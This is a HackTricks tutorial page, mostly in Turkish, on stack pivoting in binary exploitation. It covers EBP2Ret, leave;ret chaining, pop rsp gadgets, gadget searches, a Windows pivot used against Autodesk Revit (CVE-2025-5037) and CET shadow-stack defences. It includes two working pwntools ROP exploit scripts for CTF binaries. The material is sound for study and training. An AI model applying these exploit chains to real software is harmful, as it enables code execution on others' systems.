Stack Pivoting
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Bu teknik, Base Pointer (EBP/RBP)’ı manipüle etme yeteneğini kullanarak, frame pointer ve leave; ret talimat dizisini dikkatli kullanmak suretiyle birden çok fonksiyonun yürütülmesini zincirleme şekilde sağlar.
Hatırlatma olarak, x86/x86-64 üzerinde leave eşdeğerdir:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
Ve kaydedilmiş EBP/RBP yığında kaydedilmiş EIP/RIP’den önce bulunduğundan, yığını kontrol ederek bunu kontrol etmek mümkündür.
Notlar
- 64-bit’te EBP→RBP ve ESP→RSP olarak değiştirin. Semantik aynı.
- Bazı derleyiciler frame pointer’ı atlayabilir (bkz. “EBP might not be used”). Bu durumda
leavegörünmeyebilir ve bu teknik işe yaramaz.
EBP2Ret
Bu teknik özellikle kaydedilmiş EBP/RBP’yi değiştirebildiğiniz ama EIP/RIP’i doğrudan değiştirecek bir yolunuz olmadığı durumlarda kullanışlıdır. Fonksiyon epilog davranışından yararlanır.
Eğer fvuln’un çalışması sırasında yığına, shellcode/ROP zincirinizin adresinin bulunduğu bir bellek bölgesine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (amd64 için +8 bayt / x86 için +4 bayt popu hesaba katmak için), RIP’i dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, leave RSP’yi hazırlanmış konuma ayarlar ve ardından gelen pop rbp RSP’yi azaltır; bu da RSP’nin orada saldırgan tarafından saklanan bir adrese işaret etmesini sağlar. Ardından ret o adresi kullanır.
Dikkat edin ki 2 adrese ihtiyacınız vardır: ESP/RSP’nin gideceği adres ve ret’in tüketeceği o adreste saklı olan değer.
Exploit Construction
Öncelikle rastgele veri/adresler yazabileceğiniz bir adres bilmeniz gerekir. RSP buraya işaret edecek ve ilk ret’i tüketecektir.
Sonra, yürütmeyi aktaracak ret tarafından kullanılacak adresi seçmeniz gerekir. Şunları kullanabilirsiniz:
- Geçerli bir ONE_GADGET adresi.
system()’in adresi ve ardından uygun dönüş ve argümanlar (x86’d a:rethedefi =&system, sonra 4 gereksiz byte, sonra&"/bin/sh").- Bir
jmp esp;gadget’ının adresi (ret2esp) ve ardından inline shellcode. - Yazılabilir bellekte hazırlanmış bir ROP zinciri.
Kontrollü alanın bu adreslerinin öncesinde leave’in yapacağı pop ebp/rbp için boşluk (amd64’te 8B, x86’ta 4B) bulunması gerektiğini unutmayın. Bu byte’ları ikinci bir sahte EBP ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kullanabilirsiniz.
Off-By-One Exploit
Kaydedilmiş EBP/RBP’nin yalnızca en az anlamlı baytını değiştirebildiğiniz durumlarda kullanılan bir varyant vardır. Bu durumda, ret ile atlanacak adresi saklayan bellek konumu, 1 baytlık bir overwrite ile yönlendirebilmek için orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfada/hizalanmış bölgede atlamak için artırılır.
Ayrıca stack’te bir RET sled kullanmak ve gerçek ROP zincirini sona yerleştirmek yaygındır; bu, yeni RSP’nin sled’in içinde bir yere işaret etme ve nihai ROP zincirinin çalıştırılma olasılığını artırır.
EBP Chaining
Yığındaki kaydedilmiş EBP slotuna kontrol edilen bir adres koyup EIP/RIP’te bir leave; ret gadget’ı bulundurarak, ESP/RSP’yi saldırganın kontrol ettiği bir adrese taşımak mümkündür.
Artık RSP kontrol altında ve sonraki komut ret. Kontrollü belleğe şunları yerleştirin:
&(next fake EBP)->leave’inpop ebp/rbptarafından yüklenir.&system()->rettarafından çağrılır.&(leave;ret)->systembitince, RSP’yi sonraki sahte EBP’ye taşır ve devam eder.&("/bin/sh")->systemiçin argüman.
Bu şekilde program akışını kontrol etmek için birden fazla sahte EBP zincirlemek mümkündür.
Bu bir ret2lib gibidir, ancak daha karmaşıktır ve yalnızca uç durumlarda kullanışlıdır.
Dahası, burada bu tekniği bir stack leak ile kullanarak bir kazanan fonksiyonu çağıran bir example of a challenge bulunuyor. Sayfadaki son payload şu şekildedir:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 hizalama ipucu: System V ABI, çağrı noktalarında 16 baytlık stack hizalaması gerektirir. Eğer chain’iniz
systemgibi fonksiyonları çağırıyorsa, hizalamayı korumak vemovapsçöküşlerinden kaçınmak için çağrıdan önce bir alignment gadget (ör.ret, veyasub rsp, 8 ; ret) ekleyin.
EBP kullanılmayabilir
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
- Optimize edilmemiş / frame pointer kullanılıyor:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
amd64’te genellikle leave ; ret yerine pop rbp ; ret görürsünüz, ancak frame pointer tamamen atıldıysa rbp-tabanlı bir epilog üzerinden pivot yapılamaz.
RSP’yi kontrol etmenin diğer yolları
pop rsp gadget
In this page bu tekniği kullanan bir örnek bulabilirsiniz. O challenge için iki belirli argümanla bir fonksiyon çağırılması gerekiyordu, ve bir pop rsp gadget vardı ve ayrıca bir leak from the stack vardı:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini buradan inceleyin:
Pivot gadget’larını hızlıca bulma
Favori gadget finder’ınızı kullanarak klasik pivot primitives’i arayın:
leave ; retfonksiyonlarda veya kütüphanelerdepop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(veya x86’daadd esp, <imm> ; ret)
Örnekler:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasik pivot aşamalama deseni
Birçok CTF/exploits’te kullanılan sağlam bir pivot stratejisi:
- Küçük bir başlangıç overflow’u kullanarak
read/recvile büyük bir yazılabilir bölgeye (ör..bss, heap veya mapped RW memory) çağırıp tam bir ROP chain’i oraya yerleştirin. - RSP’yi o bölgeye taşımak için bir pivot gadget’a (
leave ; ret,pop rsp,xchg rax, rsp ; ret) geri dönün. - Aşamalı chain ile devam edin (ör. leak libc,
mprotectçağırın, sonra shellcode’ureadile okuyun, ardından ona atlayın).
Windows: Destructor-loop weird-machine pivots (Revit RFA vaka incelemesi)
İstemci tarafı parser’lar bazen, attacker-controlled object alanlarından türetilen bir function pointer’ı dolaylı olarak çağıran destructor loop’lar uygular. Eğer her iterasyon tam olarak bir dolaylı çağrı sağlıyorsa (bir “one-gadget” machine), bunu güvenilir bir stack pivot ve ROP entry’ye dönüştürebilirsiniz.
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Tipi
AStringolan crafted objeler offset 0’da attacker bytes’e işaret eden bir pointer yerleştirir. - Destructor loop etkili olarak her obje için bir gadget çalıştırır:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
İki pratik pivot:
- Windows 10 (32-bit heap addrs): hizasız “monster gadget” içeren
8B E0→mov esp, eax, sonundaret; call primitive’den heap tabanlı bir ROP chain’e pivot yapmak için. - Windows 11 (full 64-bit addrs): iki obje kullanarak kısıtlı bir weird-machine pivot oluşturun:
- Gadget 1:
push rax ; pop rbp ; ret(orijinal rax’i rbp’ye taşır) - Gadget 2:
leave ; ... ; ret(mov rsp, rbp ; pop rbp ; rethaline gelir), ilk objenin buffer’ına pivot yapar; burada geleneksel bir ROP chain takip eder.
Pivot sonrası Windows x64 için ipuçları:
- 0x20-byte shadow space’a saygı gösterin ve
callnoktalarından önce 16-byte hizalamayı koruyun. Return adresinin üstüne literal’leri yerleştirmek velea rcx, [rsp+0x20] ; call raxgibi bir gadget’ıpop rax ; retile takip etmek, kontrol akışını bozmayacak şekilde stack adreslerini geçirmek için genellikle uygundur. - Non-ASLR helper modules (mevcutsa) stabil gadget havuzları ve
LoadLibraryW/GetProcAddressgibi importlar sağlar; bunlarucrtbase!systemgibi hedefleri dinamik olarak çözmek için kullanılabilir. - Writable thunk aracılığıyla eksik gadget’lar oluşturma: eğer umut verici bir sıra writable bir function pointer üzerinden bir
callile bitiyorsa (ör. DLL import thunk veya .data içindeki function pointer), o pointer’ıpop rax ; retgibi zararsız tek adımlık bir işlemle overwrite edin. Böylece sıraretile bitmiş gibi davranır (ör.mov rdx, rsi ; mov rcx, rdi ; ret), bu da diğer register’ları bozmadan Windows x64 arg register’larını yüklemek için çok değerlidir.
Tam zincir oluşturma ve gadget örnekleri için aşağıdaki referansa bakın.
stack pivoting’i bozan modern koruma önlemleri (CET/Shadow Stack)
Modern x86 CPU’lar ve işletim sistemleri giderek daha fazla CET Shadow Stack (SHSTK) kullanıyor. SHSTK etkin olduğunda, ret normal yığındaki return adresini donanım-korumalı shadow stack ile karşılaştırır; herhangi bir uyuşmazlık bir Control-Protection fault tetikler ve süreç sonlanır. Bu nedenle, EBP2Ret/leave;ret-tabanlı pivotlar gibi teknikler, pivot edilmiş bir stack’ten ilk ret çalıştırıldığında çökecektir.
- For background and deeper details see:
- Linux üzerinde hızlı kontroller:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Lab/CTF için notlar:
-
Bazı modern dağıtımlar, donanım ve glibc desteği varsa CET-uyumlu ikili dosyalar için SHSTK etkinleştirir. Sanal makinelerde kontrollü testler için SHSTK, kernel boot parametresi
nousershstkile sistem genelinde devre dışı bırakılabilir veya başlatma sırasında glibc tunables ile seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde korumaları devre dışı bırakmayın. -
JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hâlâ işe yarayabilir, fakat SHSTK özellikle
rettabanlı pivotları bozar. -
Windows note: Windows 10+ kullanıcı modunda koruma sağlar ve Windows 11, shadow stacks üzerine inşa edilmiş “Hardware-enforced Stack Protection” ile kernel-mode’da ek koruma sunar. CET-uyumlu süreçler
retnoktasında stack pivoting/ROP’u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılabilir (bkz. referans).
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64’te stack pivoting’e benzer bir şeyi gerçekleştirme yolu,
SP’yi kontrol edebilmekten geçer (değeriSP’ye aktarılan bir register’ı kontrol ederek veya herhangi bir sebeptenSPadresini stack’ten alıp bir overflow olmamız durumunda) ve sonra epilogu kötüye kullanarak kontrol edilen birSP’denx30register’ını yükleyipRETile oraya dönmektir.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, off-by-one istismarı; ret sled ile başlayan bir rop zinciri
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, relro, canary, nx ve pie yok. Program stack veya pie için bir leak ve bir qword için WWW sağlar. Önce stack leak’ini elde edip WWW’yi kullanarak geri gidip pie leak’ini alın. Sonra WWW’yi
.fini_arraygirdilerini kötüye kullanıp__libc_csu_fini’yi çağırarak bir “eternal” döngü oluşturmak için kullanın (daha fazla bilgi burada). Bu “eternal” yazmayı kötüye kullanarak .bss’e bir ROP zinciri yazılır ve sonuçta RBP ile pivotlayıp onu çağırır. - Linux kernel dokümantasyonu: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk,/proc/$PID/statusflag’leri vearch_prctlile etkinleştirme detayları. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


